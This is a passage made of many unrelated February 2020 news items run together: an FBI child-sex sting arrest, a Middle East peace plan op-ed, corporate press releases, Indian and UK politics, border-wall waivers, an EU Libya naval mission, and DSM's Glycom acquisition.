festival. Also scheduled for Saturday will be talks by Dr. Josie Lopez, curator of art at the Albuquerque Museum, and art historian Diana Krumholz McDonald of Boston College. Martinez says there will be three temporary murals in dialogue with the fresco, with accompanying artist talks. The three artists chosen to showcase the temporary works are Helen Juliet Atkins, Ruben Olguin and Reyes Padilla. Atkins mural will pay homage to the matriarchs before her and will showcase racial and cultural diversity with figures modeled by women living in New Mexico. Olguins is titled Teatro de Conversion. Its an adobe clay painting depicting the uses of art, architecture and sculpture by missionary friars for the conversion of indigenous people to Christianity. Padilla will paint an abstract mural that reflects the emotional complexity of the history depicted in Vigils fresco. A Pittsburgh firefighter has been removed from duty after he was arrested in Virginia accused of trying to meet with a mother and her 10-year-old daughter for sex. A criminal complaint filed by the FBI accuses Brian Kosanovich of having conversations between someone he thought was a mother and her 10-year-old daughter in Virginia. The criminal complaint states Kosanovich was caught during an undercover operation targeting people who were willing to travel in order to have sexual contact with a minor. Agents used covert social media accounts to pose as an adult intermediary who has access to a female minor, the document states. The complaint details the messages sent by the account investigators connected to Kosanovich, including him asking the mother if she had any limits regarding her daughter, sexual acts the girl had done and what he wanted the three of them to do. During the conversations, Kosanovich made plans to meet the two and talked about booking a hotel, according to the complaint. During the same conversations, he graphically discussed sexual things he wanted to do with the girl and the girls mother. Investigators arrested Kosanovich in the parking lot of a Chilis in Midlothian, Virginia on Wednesday, where he had agreed to meet the mother and daughter, according to the complaint. The charges against the firefighter, identified in an FBI investigation as Brian Kosanovich, are deeply disturbing, Pittsburgh Public Safety officials said in a statement regarding the allegations, WTAE reported. Pittsburgh police told local media that Kosanovich was removed from duty and placed on unpaid administrative leave pending an administrative investigation. Kosanovich is charged with coercion and enticement, taking indecent liberties with children and the use of communications system to facility offenses involving children, according to federal court records. The Pittsburg Public Safety spokesperson told KDKA that due to the ongoing case, no additional comment was provided. Read more on PennLive: The emergency plan for Mississippi's Oktibbeha County Lake Dam, which partially collapsed in a mudslide last month, lists the addresses and names of more than 100 property owners in the Starkville area who could be subject to evacuation if the dam fails. The plan includes color maps showing the potential inundation area and lists roads that would need to be closed. It also describes specific steps to be taken depending on the type of problem at the dam, with the phone numbers of various local and state emergency personnel who should be notified. Joseph V. Micallef is a best-selling military history and world affairs author, and keynote speaker. Follow him on Twitter @JosephVMicallef. Several weeks ago, the Trump administration unveiled its plan to bring peace to the long-running conflict between Israel and the Palestinians. Termed the "Deal of the Century," the proposal is not much different than past American plans to settle the conflict. Like past proposals, it calls for a two-state solution, along with massive financial aid to modernize the economy and infrastructure of the proposed Palestinian state. Under the agreement, Israel would retain control of approximately 85% of the disputed land. This is more generous to Israel than past proposals, since Israel would retain control of those areas that currently host Jewish settlements on the West Bank, approximately one-third of the zone. On the other hand, some portions of Israel inhabited primarily by Israeli Arabs would be added to the territory of the Palestinian state. Jerusalem, including historic East Jerusalem, would be recognized as Israel's capital. From a practical standpoint, however, there wouldn't be much change in land ownership, other than the official status of East Jerusalem. Each side would retain control of the territory they currently control. The Trump proposal calls for approximately $60 billion in financial assistance. Among the more notable financial-aid projects is the building of a high-speed rail link connecting the Gaza strip with the West Bank. The Netanyahu government, which worked closely with the Trump administration, has, predictably, endorsed the plan. The Palestinian government, equally predictably, has rejected the proposal, calling it the "slap of the century." The Palestinian Authority claimed it was not consulted in the formulation of the peace proposal. In fairness to the Trump administration, it did reach out to the Palestinian government, but they refused to meet with U.S. envoys to discuss the plan. More significant are the Middle Eastern countries that have lined up in favor or in opposition to the proposed plan. The ambassadors to the U.S. from the United Arab Emirates (UAE), Oman and Bahrain attended the press conference at the White House when the plan was unveiled -- the first time for such a visible and obvious show of support. Since then, the government of Saudi Arabia, along with UAE, has endorsed the proposal. So, too, have Egypt, Bahrain, Qatar and Morocco. Jordan, on the other hand, was quick to reject the Trump proposal, albeit diplomatically. Foreign Minister Ayman Safadi, in a statement published by The Jordan Times, reaffirmed that country's position in support of a two-state solution with an independent Palestinian state based on the 1967 borders, with East Jerusalem as its capital. That is the "only way to achieve long-term peace," according to Safadi. He also warned the Netanyahu government against using the American peace proposal as diplomatic cover for annexing the 30% portion of the West Bank currently under de facto Israeli control, warning that "the dangerous consequences of unilateral Israeli measures, such as the annexation of Palestinian lands, the building and expansion of illegal Israeli settlements on occupied Palestinian lands, and encroachments on the Holy Sites in Jerusalem, that aim at imposing new realities on the ground," are a hindrance to a long-term peace. Not surprisingly, the government of Iran, along with those of Syria and Lebanon, was quick to denounce the agreement, calling it and its Arab state supporters a betrayal of the Palestinian people. Turkey also denounced the agreement, using similar language. Turkish President Recep Tayyip Erdogan declared, "Jerusalem cannot be left to the bloody claw of Israel," and described the support of Arab governments for the plan as "treasonous." The Iraqi government has remained, at least officially, quiet on the issue. For almost three-quarters of a century, the ongoing Palestinian-Israeli conflict has defined the principal fault line in Middle East politics -- a fault line that has produced four wars, in 1948, 1956, 1967 and 1973, between Israel and the frontline Arab states on its borders; several major Israeli incursions into Lebanon; and numerous Palestinian "uprisings" or Intifadas. It has also resulted in frequent military clashes along the Israeli border and an ongoing insurgency and terrorist violence that have claimed thousands of lives. Even after Israel reached peace agreements with Egypt and Jordan, and the Gulf Arab states began to cooperate with it on issues of mutual concern, they continued to publicly advocate for the restoration of a Palestinian state and to back the Palestinian governing authority. Over the last decade, however, an increasingly aggressive Iran has resulted in a much broader common ground between Israel and many of the Sunni Arab governments in the region. The result is that the unconditional support both privately and, following the Trump proposal, publicly, of Sunni Arab governments for the Palestinians has come to an end. The rise of Iranian influence in the region and Tehran's aggressive foreign policy -- as manifested in the development of what geopolitical strategists have called the "Shiite Arc of Influence" from Iran across Iraq, Syria, Lebanon and the Gaza strip, as well as Tehran's ongoing efforts to mobilize Shiite groups in the gulf and Yemen -- have produced a much broader convergence in the foreign policy and military interests between Israel and the majority of the Sunni Arab governments in the Middle East. The result is that a new Sunni-Shiite fault line has emerged in the region, one that is superimposed and which modifies the historical Palestinian-Israeli fault line. Turkish opposition to the Trump administration's Middle East peace proposal underscores the development of yet another fault line. This fault line within the Sunni world increasingly divides the Arab states from Turkey. Under Turkish president Erdogan's leadership, Ankara has been aggressively advancing its interests in Syria and the eastern Mediterranean. Turkey has intervened repeatedly in the Syrian civil war, funding and supporting various militant Arab groups, including jihadists, against the government of Syrian President Bashar al-Assad. It has increasingly assumed a revisionist posture in the eastern Mediterranean, laying claim, unofficially, to Greece's Dodecanese Islands, drilling in waters claimed by the Cypriot Republic and unilaterally laying claim to vast stretches of the eastern Mediterranean Sea claimed by its neighbors. Recently, Turkey announced an agreement with the Tripoli-based government in Libya, which saw the two governments divide a broad strip of Mediterranean seabed running from northeastern Libya to southwestern Turkey, notwithstanding that their claims infringed on the exclusive economic zones claimed by Greece and Cyprus. The Turkish government has dispatched Turkish-sponsored armed militias to help support the Tripoli-based government of national accord in Tripoli. It has also expanded its military presence in the Red Sea and,through its support of Qatar, is increasingly interjecting itself into the international affairs of the Persian Gulf region. Under Erdogan, Turkish foreign policy has strived to position Ankara as the leader of the Sunni-Arab world. In the process, the foreign policy of the Erdogan government has increasingly become Islamist and nationalistic and extolled Turkey's Ottoman past to stoke nationalist sentiment among its citizens. Sunni-Arab governments have little use for Ankara's neo-Ottoman ambitions or its related ideography. Still, Ankara's support for Sunni Islamist political parties could prove destabilizing to those countries, such as Egypt and Morocco, which, lacking Shiite minorities, have been largely insulated from Iran's efforts to mobilize Shiite groups in support of Iran's foreign policy objectives. Erdogan's Peace and Development Party (AKP) has long-standing ties to the Muslim Brotherhood and was itself an outgrowth of that movement. The Muslim Brotherhood is banned in most Arab countries. Moreover, under the Erdogan administration, Istanbul has become a mecca for Islamist Arab dissidents. Many have now set up broadcast facilities there and beam programming that their respective governments consider subversive. Many of these dissident movements have received financial assistance from the Turkish government or the AKP. Affter being subjected to decades of pro-Palestinian/anti-Israeli rhetoric from their governments, large sections of the "Arab street" are still receptive to Erdogan's increasingly anti-Israel rhetoric. There is one more group that has expressed its opposition to the Trump proposals -- Israeli Arabs, i.e. Arabs with Israeli citizenship living in areas that would be transferred to the new Palestinian state. Although Israeli-Arabs have often complained that they are treated as second-class citizens and that the Israeli government spends less per capita on its Arab citizens than it does on its other citizens, they have little desire to find themselves under the authority of a Palestinian government. Many point out that the Palestinian government's record on corruption, the rule of law and respect for human rights falls short of what they have experienced under Israeli rule. The "Deal of the Century" is unlikely to bring about an Israel-Palestine peace, regardless of how much financial aid the U.S. and its Sunni Arab allies offer the Palestinian government. It will likely join the long list of past proposals that have since been relegated to the dustbin of history. It may offer the Netanyahu government diplomatic cover to annex the 30% of the West Bank that it currently directly administers, and it will further cement the status of Jerusalem and, in particular, East Jerusalem as the capital of Israel. Neither development is new. Both reflect the reality on the ground. A formal Israeli annexation would, however, make the likelihood of a Palestinian state based on the West Bank and with East Jerusalem as its capital that much more remote a possibility. What the Trump administration's Mideast proposal will accomplish is to highlight the new fault lines that are bisecting the geopolitics of the Middle East. The superimposition of fault lines bisected by the Palestinian-Israeli conflict, the Shiite-Sunni rivalry and the increasing rivalry between Turkey and the Sunni-Arab world will add layers of complexity to Middle Eastern geopolitics that will make the core issues between Palestinians and Israelis that much harder to resolve. -- The opinions expressed in this op-ed are those of the author and do not necessarily reflect the views of Military.com. If you would like to submit your own commentary, please send your article to opinions@military.com for consideration. Toronto, Ontario--(Newsfile Corp. - February 21, 2020) - Shane Resources Ltd. (the "Company" or "Shane Resources") is pleased to announce that it has closed the second tranche of a non-brokered private placement financing of 36,293,545 common shares in the share capital of the Company (each, a "Share") at $0.000125 per Share for the gross proceeds of $4,536.69 (the "Offering"). The net proceeds of the Offering will be used for general working capital purposes. Further, the Company announces it has entered into debt settlement agreements with certain creditors, including a control person of the Company, in order to settle $15,000 in outstanding liabilities (the "Outstanding Liabilities"). The Company has issued 120,000,000 Shares at a deemed price of $0.000125 per Share in settlement of the Outstanding Liabilities (the "Debt Settlement", and collectively with the Offering, the "Transactions"). All Shares issued pursuant to the Transactions are subject to a statutory hold period of four months plus one day from the date of issuance, in accordance with applicable securities legislation. A portion of the Shares issued pursuant to the Transactions have been issued to related parties, as that term is defined in Multilateral Instrument 61-101 Protection of Minority Security Holders in Special Transactions ("MI 61-101"). Accordingly, the Transactions each constitute "related party transaction" within the meaning of MI 61-101. The Company relied upon the "Issuer Not Listed on Specified Markets" and "Fair Market Value Not More Than $2,500,000" exemptions from the formal valuation and minority shareholder approval requirements, respectively, under MI 61-101.The Company will be filing a material change report in respect of the related party transactions on SEDAR less than 21 days prior to the closing of the Transactions due to the fact that the Company wished to close the Offering as soon as practicable to enable it to use the funds for short-term cash requirements, and the details of the creditors in the Debt Transaction were not settled until shortly prior to the closing. In connection with the Debt Settlement, KW Capital Partners Ltd. ("KW"), acquired 66,000,000 Shares. KW also acquired 24,749,998 Shares and 4,500,000 common share purchase warrants in the capital of the Company ("Warrants") in a share purchase transaction with a certain shareholder (the "Share Purchase"). Following the Debt Settlement and Share Purchase, KW owns an aggregate of 390,011,147 Shares, representing 35.52% of the issued and outstanding Shares on an undiluted basis. Upon exercise of the Warrants, KW will own 394,511,147, representing 35.58% of the issued and outstanding Shares on a partially diluted basis. Prior to the Debt Settlement and Share Purchase, KW beneficially owed, or exercised control or direction of 299,261,149 Shares, representing 36.15% of the issued and outstanding Shares. KW has acquired the Shares in the Debt Settlement and Share Purchase for investment purposes and may, from time to time, acquire additional securities of the Company or dispose of such securities as KW may deem appropriate. For the purpose of NI 62-103 - The Early Warning System and Related Take-Over Bid and Insider Reporting Issues, the address of KW is 10 Wanless Ave, Suite 201, Toronto, Ontario, M4N 1V6, President: Sruli Weinreb. A copy of the early warning report being filed by KW Capital Partners Ltd. may be obtained on the Company's SEDAR profile or by contacting the Company at 416 481-2222. On behalf of the Board of Directors SHANE RESOURCES LTD. Binyomin Posen CEO, CFO, Secretary and Director T: 416 481-2222 E: bposen@plazacapital.ca 2206 - 1483 Homer Street Vancouver, BC V6Z 3C7 Cautionary Statement and Forward-Looking Information: This news release may contain forward-looking statements including, but not limited to, comments regarding the use of proceeds. Forward-looking statements address future events and conditions and therefore involve inherent risks and uncertainties. Actual results may differ materially from those currently anticipated in such statement. Accordingly, readers should not undue reliance on forward-looking information. The Company does not undertake to update any forward-looking information, except in accordance with applicable securities laws. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/52658 New Delhi, Feb 21 : Amid a growing rift between the Shiv Sena and its ideologically opposite alliance partners -- Congress and the NCP, Sena chief and Maharashtra Chief Minister Uddhav Thackeray met Prime Minister Narendra Modi on Friday. It was the first official meeting between Modi and Uddhav Thackeray since he walked out of the NDA alliance and took over as Chief Minister of Maharashtra. Uddhav was accompanied by his son Aaditya Thackeray. Shiv Sena posted a photo of the meeting from its official Twitter handle. It said: "CM Uddhav Balasaheb Thackeray & Minster @AUThackeray had a courtesy meeting with the Hon'ble Prime Minister of India Shri @narendramodi ji in Delhi today." Dispelling political speculation, Sena leader Sanjay RAut earlier tweeted, "Yes, Chief Minister Uddhav Thackeray will meet PM Modi. This is only a meeting, nothing else should be read into it. Jai Maharashtra." Last year, after the Maharashtra election, the Shiv Sena walked out of the NDA and formed a government with the help of the NCP and the Congress. This happened after the BJP refused to share the Chief Ministerial post with the Sena. The leader of far-right political group Britain First has been charged with an offence under the Terrorism Act after refusing to give police access to his phone. Paul Golding, 38, was stopped at Heathrow Airport in October on his way back from a trip to the Russian parliament in Moscow by officers from the Met's Counter Terrorism Command. He refused to give the pin codes for a number of his electronic devices. Golding was later charged with refusing to comply with a duty under Schedule 7 of the act. He is due to appear at Westminster Magistrates Court on Friday. Britain First: the far-right group in pictures Show all 15 1 /15 Britain First: the far-right group in pictures Britain First: the far-right group in pictures A demonstrator with 'Bring back the rope!' sign during a Britain First Rotherham demonstration in 2015 Rex Britain First: the far-right group in pictures Paul Golding and Jayda Fransen lead a Britain First demonstration in Rochdale on 22 July, 2017 Rex Britain First: the far-right group in pictures In 2016 they staged a small counter demo at Eros. UN Anti Racism, Refugees Welcome march and rally through central London. Rex Britain First: the far-right group in pictures Here a supporter kisses a badge reading " Speak English or Fuck off " on the jacket of a man at a Britain First demonstration in Telford on 25 February, 2017 Rex Britain First: the far-right group in pictures Britain First lead a demonstration in Dudley with a sign reading 'Britain First. No more Mosques!' in 2015 Alamy Britain First: the far-right group in pictures Paul Golding and Jayda Fransen, the leader and deputy leader of far-right group Britain First were charged with causing religiously aggravated harassment in 2016 PA Britain First: the far-right group in pictures Following the Westminster terror attack on parliament in March 2017, Britain First and EDL protesters marched through central London. AFP/Getty Britain First: the far-right group in pictures Many of the protesters reacted along the route during the Britain First and EDL demonstration held on 1 April, 2017 PA Britain First: the far-right group in pictures Members of the Britain First group and the English Defence League rallied in central London in on seperate marches entitled a "March Against Terrorism" and "We Are Not Afriad" following the terror attack on Westminster Bridge and the British Parliament AFP/Getty Britain First: the far-right group in pictures Paul Golding reacts whilst he leads the protest PA Britain First: the far-right group in pictures Britain First and EDL protesters both marched on the same day PA Britain First: the far-right group in pictures One protester during the march held a sign reading 'Political correctness + migration = chaos' on 1 April, 2017 PA Britain First: the far-right group in pictures Protesters held placards during the protest calling for Britain First leader, Paul Golding, to be mayor Getty Britain First: the far-right group in pictures At a Birmingham Britain First protest in June 2017, supporters had to be contained by police, where an estimated 250 supporters of the party were escorted. PA Britain First: the far-right group in pictures 'Britain First' held a rally in November in support of their leaders Paul Golding and Jayda Fransen, who had to sign in at Bromley Police Station as part of their bail conditions. Rex In a statement Golding said he was not a terrorist and described the charges as "an abuse of legislation". Schedule 7 allows police to interrogate, search and detain anyone for up to six hours at UK ports. It is designed to determine whether an individual is involved in the "commission, preparation or instigation" of acts of terrorism. Press Association Cronkite News WASHINGTON The Trump administration took another step toward expediting construction of a border wall Tuesday, announcing it is waiving federal contracting regulations to fast track construction in four states, including Arizona. The targeted regulations, dealing with contracting, pricing and wage regulations, need to be waived to ensure the expeditious construction of barriers and roads to stop drugs at the border, Acting Homeland Security Secretary Chad Wolf said in a notice set to be published in the Federal Register. A Department of Homeland Security statement said the agency will waive procurement regulations in six high-traffic border sectors to build an additional 177 miles of new border wall system. The waivers will affect six areas, including projects in Yuma and Tucson. The United States remains in a border emergency, DHS spokeswoman Heather Swift said in the statement, adding that the department is building more wall, faster than ever before. EARLIER: You have an obligation to protect sacred sites and sacred areas. You have failed: Tohono Oodham Nation Chairman Ned Norris Jr blasts Assistant Secretary for Indian Affairs Tara Sweeney for letting Trump administration desecrate sacred places for wall along US border. pic.twitter.com/yrEzEgetBJ indianz.com (@indianz) February 11, 2020 This announcement comes just weeks after the agency was criticized for blasting sections of border without consulting local tribes about culturally significant sites. Critics say the administration has now invoked Section 102 of immigration law to waive more than 40 federal regulations in pursuit of border wall construction David Bier, an immigration policy analyst for the Cato Institute, said Wolfs announcement does not provide sufficient explanation or any at all as to how these latest waivers will help speed up border wall construction. They say theres an urgent need, Bier said. But they dont say taking this action will, therefore, allow us to build the border wall in three months instead of nine months or 12 months or whatever the case might be. So they really dont do a good job of justifying it. Two pages of the nine-page document are dedicated to a listing of the amounts of drugs that were seized and the number of border crosser apprehended in the various southern border sectors in fiscal 2019. That included 131,000 migrants in the Yuma and Tucson sectors, where 62,000 pounds of marijuana and 3,886 pounds of methamphetamines were seized, among other drugs. It identified Yuma, Pima, Santa Cruz and Cochise counties in Arizona as High-Intensity Drug Trafficking Areas. The document also included three pages detailing proposed project boundaries, and said DHS will take immediate action on fencing projects in the Yuma and Tucson sectors. Mark your calendars: On February 26, the House Subcommittee for Indigenous Peoples of the United States will hold a hearing entitled Destroying Sacred Sites and Erasing Tribal Culture: The Trump Administrations Construction of the Border Wall. @NRDems #Borders indianz.com (@indianz) February 21, 2020 The latest waivers were criticized by opponents like Rep. Ann Kirkpatrick, D-Tucson, who said in a statement Tuesday that President Donald Trump is overstepping the limits of executive power with them. It is reckless and alarming how the President continues to violate our federal laws and ignore the separation of powers our Constitution outlines, her statement said. Vicki Gaubeca, director of the Southern Border Communities Coalition, agreed that Trump is completely stripping Congress of its constitutional power and control of the purse. And by waiving these procurement laws, it seems like another insult to injury. The Center for Biological Diversity late last month petitioned the Supreme Court to overturn the Section 102 waivers on constitutional grounds. Waiving contracting laws shows how deeply authoritarian the Trump administration has become and how important it is for Congress to repeal the law that Trump is abusing to decimate the borderlands, Randy Serraglio, a conservation advocate at the center, said in a statement Tuesday. Rep. Paul Gosar, R-Prescott, a Trump defender, repeated a statement from early February, when he defended the administrations use of waivers and said current laws get in the way of border projects. I fully support ongoing efforts to secure our border, Gosar said in that statement. But a senior policy adviser for immigration at UnidosUS wondered if the timing of the announcement might be more political than practical, noting that Trump will be in Phoenix Wednesday for a campaign rally. Carlos Guevara said the waivers could be a re-election campaign ploy, trying to show Arizonans at his rally that his administration is making concrete moves to complete the wall. Its part of in some ways an expected turn as they start to anticipate and make their push for whats ahead and the fall of 2020, Guevara said. House Subcommittee for Indigenous Peoples of the United States Notice Note: This story originally appeared on Cronkite News and is published via a Creative Commons license . Cronkite News is produced by the Walter Cronkite School of Journalism and Mass Communication at Arizona State University Join the Conversation It is not uncommon to see companies perform well in the years after insiders buy shares. Unfortunately, there are also plenty of examples of share prices declining precipitously after insiders have sold shares. So before you buy or sell Six Sigma Metals Limited (ASX:SI6), you may well want to know whether insiders have been buying or selling. Do Insider Transactions Matter? It is perfectly legal for company insiders, including board members, to buy and sell stock in a company. However, rules govern insider transactions, and certain disclosures are required. Insider transactions are not the most important thing when it comes to long-term investing. But equally, we would consider it foolish to ignore insider transactions altogether. For example, a Columbia University study found that 'insiders are more likely to engage in open market purchases of their own companys stock when the firm is about to reveal new agreements with customers and suppliers'. Check out our latest analysis for Six Sigma Metals Six Sigma Metals Insider Transactions Over The Last Year Over the last year, we can see that the biggest insider purchase was by insider Tolga Kumova for AU$120k worth of shares, at about AU$0.004 per share. So it's clear an insider wanted to buy, even at a higher price than the current share price (being AU$0.003). Their view may have changed since then, but at least it shows they felt optimistic at the time. In our view, the price an insider pays for shares is very important. It is generally more encouraging if they paid above the current price, as it suggests they saw value, even at higher levels. Six Sigma Metals insiders may have bought shares in the last year, but they didn't sell any. You can see a visual depiction of insider transactions (by individuals) over the last 12 months, below. If you click on the chart, you can see all the individual transactions, including the share price, individual, and the date! Story continues ASX:SI6 Recent Insider Trading, February 21st 2020 There are always plenty of stocks that insiders are buying. So if that suits your style you could check each stock one by one or you could take a look at this free list of companies. (Hint: insiders have been buying them). Does Six Sigma Metals Boast High Insider Ownership? Looking at the total insider shareholdings in a company can help to inform your view of whether they are well aligned with common shareholders. I reckon it's a good sign if insiders own a significant number of shares in the company. Six Sigma Metals insiders own about AU$479k worth of shares. That equates to 25% of the company. While this is a strong but not outstanding level of insider ownership, it's enough to indicate some alignment between management and smaller shareholders. What Might The Insider Transactions At Six Sigma Metals Tell Us? It doesn't really mean much that no insider has traded Six Sigma Metals shares in the last quarter. But insiders have shown more of an appetite for the stock, over the last year. Insiders own shares in Six Sigma Metals and we see no evidence to suggest they are worried about the future. I like to dive deeper into how a company has performed in the past. You can access this interactive graph of past earnings, revenue and cash flow for free. If you would prefer to check out another company -- one with potentially superior financials -- then do not miss this free list of interesting companies, that have HIGH return on equity and low debt. For the purposes of this article, insiders are those individuals who report their transactions to the relevant regulatory body. We currently account for open market transactions and private dispositions, but not derivative transactions. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. (TNS) With temperatures in the 40s and 50s, warm weather activities are probably the last thing on your mind, but its not too early for students and parents to start making plans for summer.Local, state and national organizations offer summer internships and work opportunities for middle and high school students.For example, FEMA, the Federal Emergency Management Agency, is seeking youngsters from this area (Region IV) for its National Youth Preparedness Council. Youth from communities across the Southeast are encouraged to apply for FEMAs national Youth Preparedness Council. Formed in 2012, the council provides an opportunity for young leaders to share their perspectives, feedback, and opinions related to preparedness, and grow their leadership skills.YPC members meet with FEMA staff throughout their two-year term to provide input on strategies, initiatives, and projects. YPC members also attend the annual YPC Summit in Washington, D.C., meet regularly with FEMA representatives, and complete several emergency preparedness projects.This year, YPC members are working on projects for financial preparedness, citizen responder programs, and youth preparedness education.Students in eighth through 11th grades must submit a completed application form, two letters of recommendation, academic records, and a list of extracurricular activities. All applications and supporting materials must be received before 9 p.m. on March 8. Students who apply for the national Youth Preparedness Council also will be considered for the Region IV Youth Preparedness Council.FEMAs Youth Preparedness Council is developing the next generation of emergency managers and community leaders. These teens recognize the importance of preparedness and are making their communities safer and more resilient, said Gracia Szczech, Regional Administrator for FEMA Region IV, which includes the states of Alabama, Florida, Georgia, Kentucky, Mississippi, North Carolina, South Carolina, and Tennessee.The Youth Preparedness Council application website was recently revamped with a fresh look and enhanced user experience. Teens are now encouraged to share their academic achievements, ways they have positively influenced their communities, and any leadership experiences.Council members are selected based on these criteria, as well as extracurricular activities and any experience related to preparedness and emergency management.New council members will be announced in May.With approximately 70 million children under the age of 18 in the United States, children comprise nearly one-quarter of the entire U.S. population, said FEMA Administrator Pete Gaynor. Building a culture of preparedness begins with engaging our youth. I am proud of our program that helps to build a new generation of leaders who are passionate about championing preparedness and making a difference in their communities.To learn more about the Youth Preparedness Council and the application process, go to ready.gov/kids/youth-preparedness-council. Youth may apply through a written or video response at https://community.fema.gov/applytoYPC 2020 The Atlanta Journal-Constitution (Atlanta, Ga.)Visit The Atlanta Journal-Constitution (Atlanta, Ga.) at www.ajc.com Distributed by Tribune Content Agency, LLC. The foreign ministers of all 27 EU countries agreed to launch a new military mission in Libya on Monday. In order to enforce the arms embargo agreed in Berlin in January, the EU intends to deploy warships and planes in the region together with satellites. The military operation will not only escalate the war that has devastated Libya since the military alliance led by the United States, France and Great Britain bombed the Mediterranean country in 2011 and murdered its long-time ruler Muammar al-Gaddafi. The intervention also threatens to expand into an all-out war between the major and regional powers backing the rival militias in Libya. The German government had invited the 16 powers and parties involved in the Libya conflict to a conference in Berlin on January 19, where they signed a 55-point plan that included a ceasefire, compliance with the UN arms embargo, the withdrawal of foreign armies and mercenaries, and the demobilisation of the various militias fighting one other. German soldier in Afghanistan, August 2011 [Credit: US Navy, Flickr] The WSWS warned at the time that the conference was pursuing imperialist goals and was only the preliminary step to a military occupation of the country. We compared the Libya conference to the Berlin Congo conference of 1884, which played a major role in deepening Africa's colonial domination and exacerbated tensions between the imperialist powers. These warnings have already been confirmed. The conflict in Libya has only escalated since the Berlin conference as every party to the war seeks to gain advantage. The agreed ceasefire has been broken more than 150 times, and deliveries of weapons have skyrocketed. Huge quantities of arms have been transported to Libya by ship, plane and over land. The arms embargo is a joke, said Stephanie Williams, the UN special envoy for Libya. Brussels and Berlin have used the situation as an opportunity to advance their interests militarily in the oil-rich country, which is important for access to Africa as a whole. If Europe cannot agree to enforce the arms embargo by military means, we run the risk of becoming irrelevant, EU foreign policy chief Josep Borrell wrote in a memo. In that case other powers would continue to shape developments in Libya in a way that does not take our interests into account. There were disagreements in the EU over the issue of how to prevent warships deployed to the Mediterranean from taking on board shipwrecked refugees, which they are obliged to do under maritime law. A previous EU Mediterranean mission, Operation Sophia, which was originally supposed to combat smugglers and destroy their boats, was discontinued in September 2019 after its vessels had helped rescue 730,000 refugees over four years. Austria, Hungary and Italy in particular insisted that this should not happen again. Therefore, the EU agreed to deploy warships in the eastern Mediterranean, where there are hardly any escape routes to Europe, but which is a route for the transport of weapons to Libya. If the warships are nevertheless in a position to rescue refugees, the mission can be stopped immediately. If pull factors (i.e. factors encouraging migrants to take to the sea in the hope of being rescued and taken to Europe) regarding migration are identified, the maritime elements will be withdrawn, according to the agreement of the EU foreign ministers. There is a basic consensus that what is required is a military mission and not a humanitarian mission, commented the Austrian Foreign Minister Alexander Schallenberg proudly. How the EU intends to stop arms supplies without waging war against NATO allies or key trading partners remains unclear. The most important weapons supplier to the official government of Fayiz as-Sarradsch, which controls the capital city of Tripoli, is Turkey, which in turn arms its allies in Libya by ship across the Mediterranean. As-Sarradschs main rival, General Khalifa Haftar, receives weapons over land from Egypt and via air from Abu Dhabi, the capital of the United Arab Emirates. Haftar is also supported by Russia. According to SpiegelOnline, a huge transport plane takes off almost every day from Abu Dhabi heading for Benghazi, where Haftar's headquarters are located. The Turkish government, which is already in conflict with EU members Greece and Cyprus over gas deposits in the eastern Mediterranean, would hardly allow the EU to intervene against Turkish ships. Without a robust control of suspect shipping by NATO warships in the Mediterranean, the lethal supplies will not be reduced, commented the German weekly Die Zeit. The consequences will be even more devastating should the EU shoot down a transport plane supplying Haftar with weapons. Ultimately, the deployment of a new naval mission to the Mediterranean is only a first step in the military occupation of Libya as part of a new scramble for Africa. EU foreign policy chief Josep Borrell had already raised this prospect in January. The key issue is to enforce our interests more powerfully and, when necessary, in a robust manner, he told Der Spiegel. If there is a ceasefire in Libya, then the EU must be ready to help implement and monitor this ceasefirepossibly with the use of soldiers, for example as part of an EU mission. The author also recommends: The Libya conference and the new scramble for Africa [18 January 2019] The Libyan war and the deepening inter-imperialist conflict [16 April 2011] The rape of Libya [26 August 2011] [February 21, 2020] DSM to Acquire Glycom to Accelerate Growth in Early Life Nutrition HEERLEN, Netherlands, Feb. 21, 2020 /PRNewswire/ -- Royal DSM, a global science-based company in Nutrition, Health and Sustainable Living, today announces that it has reached agreement to acquire Glycom A/S ("Glycom"), the world's leading supplier of Human Milk Oligosaccharides (HMO) for an enterprise value of 765 million. This transaction represents an EV/EBITDA multiple of 20.6x based on the 2019 reported EBITDA, and around 15x based on the estimated 2021 EBITDA. HMOs are a collection of carbohydrate structures found in human breast milk. They act as prebiotics in infants, which help to develop the desired microbial flora by serving as feed for the good bacteria in the intestine. HMOs are essential for both immune and cognitive development. Glycom is a Danish company with more than 150 employees, founded in 2005, that pioneered the development and commercialization of HMOs for Early Life Nutrition applications. The company operates a state-of-the-art manufacturing plant in Esbjerg (Denmark) and is the only fully-integrated HMO provider in the world with its own product development, preclinical and clinical development, regulatory and large-scale production with an exciting innovation roadmap for next-generation HMOs. The company achieved 74 million of sales in 2019. These sales were pre-dominantly generated with Nestle and Nestle will continue to be an important customer in the future. The Nestle contract is a mutually beneficial long-term contract with firmly committed volumes also covering the mid-term horizon. DSM is a leading global solutions supplier to the Early Life Nutrition industry with its unique portfolio of for example nutritional lipids, vitamins and nutrient prmixes. With the acquisition of Glycom, DSM adds HMOs to its portfolio, a novel high-growth ingredient for next generation Early Life Nutrition solutions. This acquisition by DSM will be highly synergetic for both companies. DSM can accelerate the growth of Glycom by offering HMO products to DSM's broad global customer base and integrate it in its full solutions offering for Early Life Nutrition customers. DSM can accelerate the HMO product development of Glycom by leveraging its strong R&D platform and clinical competencies to support Glycom's development of next generation HMOs. DSM can furthermore introduce HMOs in other segments outside the Early Life Nutrition market, for instance for toddlers, children and adults, as well as in the medical nutrition and the pet food segments, creating additional growth potential. Geraldine Matchett and Dimitri de Vreeze Co-CEOs of Royal DSM, commented: "We are looking forward to welcoming Glycom to DSM. Our companies have a great fit together, with a shared passion for purpose-led and science-based solutions in Nutrition & Health. This acquisition is an attractive and logical next step for DSM enabling us to provide our customers with innovative Early Life Nutrition solutions in our Human Nutrition business." Odd Hansen, CEO of Glycom, added: "We are excited to join DSM. This not only enables us to accelerate the growth of Glycom by adding our HMO products to DSM's broad global customer base and integrate it in its full solutions offering for Infant Nutrition customers, it also creates leverage with DSM's strong R&D platform and clinical competencies to support development of Glycom's next generation HMO's. DSM is a real great home for Glycom to reach its full potential." The transaction is expected to close in Q2 2020. More details can be found in the presentation to investors . DSM Bright Science. Brighter Living. Royal DSM is a global, purpose-led, science-based company active in Nutrition, Health and 